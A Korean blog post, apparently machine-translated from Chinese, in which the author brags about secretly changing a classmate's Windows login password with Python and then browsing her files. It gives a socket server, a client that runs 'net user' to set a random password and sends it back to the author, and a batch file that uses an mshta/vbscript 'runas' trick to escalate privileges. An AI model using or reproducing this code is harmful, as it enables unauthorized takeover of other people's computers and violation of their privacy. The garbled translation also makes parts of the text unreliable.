파 이 썬 은 이렇게 놀 수 있어 요.파 이 썬 으로 반 꽃 켜 기 비밀 번 호 를 바 꿨 어 요.

머리말
在这里插入图片描述
반 화 가 나 에 게 그녀의 전화 가 고 장 났 다 고 말 했다.나 에 게 보 여 줘.그러면 기꺼이 정 의 를 거절 할 수 없어![30 분 동안 신 났 어 요.]다른 거 없어 요.저 는 그냥 기술 을 보 여 드 리 고 싶 어 요!5 분 후에 고 쳤 습 니 다.컴퓨터 가 재 부팅 한 후에 비밀 번 호 를 입력 하 는 것 을 보 여 주 었 습 니 다.그 때 는 별로 생각 하지 않 고 바로 가 고 싶 었 습 니 다.돌아 간 후에 나 는 기술 로 이 켜 진 비밀 번 호 를 원 격 으로 해석 할 수 있 습 니까?한다 면 하 겠 습 니 다.
在这里插入图片描述
도구 준비
개발 환경:win 10,python 3.7
개발 도구:pycharm
3.프로젝트 사고 분석
원 격 으로 연결 을 만 들 생각 만 하면 링크 를 만 들 생각 만 하면 socket 소켓 이 생각 납 니 다.
在这里插入图片描述
이 프로젝트 코드 는 3 부 입 니 다.
우선 정상 적 인 프로 세 스 로 서버 서 비 스 를 만 듭 니 다.
서버 프로 세 스:
소켓 만 들 기
  • -ip 와 포트 연결
  • 감청 설정
    링크 를 기다리다
  • -데이터 인쇄 데 이 터 를 받 습 니 다
  • 링크 닫 기
    
    import socket  #   socket
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #   socket
    server.bind(('192.168.246.1', 44444))  #   IP/  
    server.listen(5)  #   
    print('***********    *********')
    conn, addr = server.accept()  #   
    print(conn) 
    print('      :', addr)
    client_msg = conn.recv(1024)
    print('         : %s' % client_msg)
    conn.close()
    server.close()
    
    windows 의 컴퓨터 비밀 번 호 를 수정 하 라 는 명령:net User 사용자 이름 으로 수 정 된 비밀번호(직접 시도 해 볼 수 있 습 니 다)
    在这里插入图片描述
    클 라 이언 트 프로 세 스:
    소켓 만 들 기
  • -서버 를 연결 하 는 IP 와 포트
  • 현재 사용 하고 있 는 컴퓨터 계 정 이름 가 져 오기랜 덤 컴퓨터 비밀번호 생 성
  • -터미널 에서 윈도 암 호 를 수정 하 라 는 명령 을 실행 합 니 다
  • -수 정 된 비밀 번 호 를 보 냅 니 다
  • 4.567917.-소켓 닫 기
    
    import socket  #        
    import getpass
    import subprocess
    import random
    
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #   socket  
    client.connect((ip,   ))  #   server IP  /           
    user = getpass.getuser()  #         
    print(user)
    psd = ''
    for j in range(1, 9): #   1-9    
        m = str(random.randrange(0, 10))
        psd = psd + m
    
    subprocess.Popen(['net', 'User', user, psd])  #      (   cmd  )
    client.send(psd.encode('utf-8'))  #       server 
    back_msg = client.recv(1024)
    client.close()  #   socket
    
    이 단계 에 이 르 면 기본적으로 스스로 시도 할 수 있 습 니 다.그러나 현재 코드 는 admin 의 계 정 만 수정 할 수 있 습 니 다.
    在这里插入图片描述
    관리자 가 아 닌 사용 자 는 자신의 실행 권한 을 높 여야 합 니 다.
    슈퍼 관리자 권한 으로 cmd 파일 을 직접 실행 합 니 다.
    go.cmd
    
    @echo off
    %1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
    cd /d "%~dp0"
    
    start python client.py
    
    소결
    마지막 으로 나 는 비밀 번 호 를 수정 하여 로그 인 에 성공 하 였 는데,뜻밖에도 그녀의 비밀 번 호 를 발견 하 였 다!
    在这里插入图片描述
    이 무뚝뚝 하고 멍청 한 CD 는 치 울 줄 도 모 르 고 딱 봐 도 컴퓨터 를 잘 모 르 는 아들 이 야!반 꽃 이 그렇게 예 쁜 데 컴퓨터 를 잘 몰라 서 정말 놀 라 운 발견 이 야!
    PS:결국 나 는 아무것도 움 직 이지 않 고 고 쳤 다!
    파 이 썬 이 이렇게 놀 수 있 는 지 에 대해 파 이 썬 으로 반 화의 켜 기 비밀 번 호 를 수정 한 글 은 여기까지 소개 되 었 습 니 다.더 많은 파 이 썬 의 비밀번호 수정 내용 은 우리 의 이전 글 을 검색 하거나 아래 의 관련 글 을 계속 찾 아 보 세 요.앞으로 많은 응원 부 탁 드 리 겠 습 니 다!

    좋은 웹페이지 즐겨찾기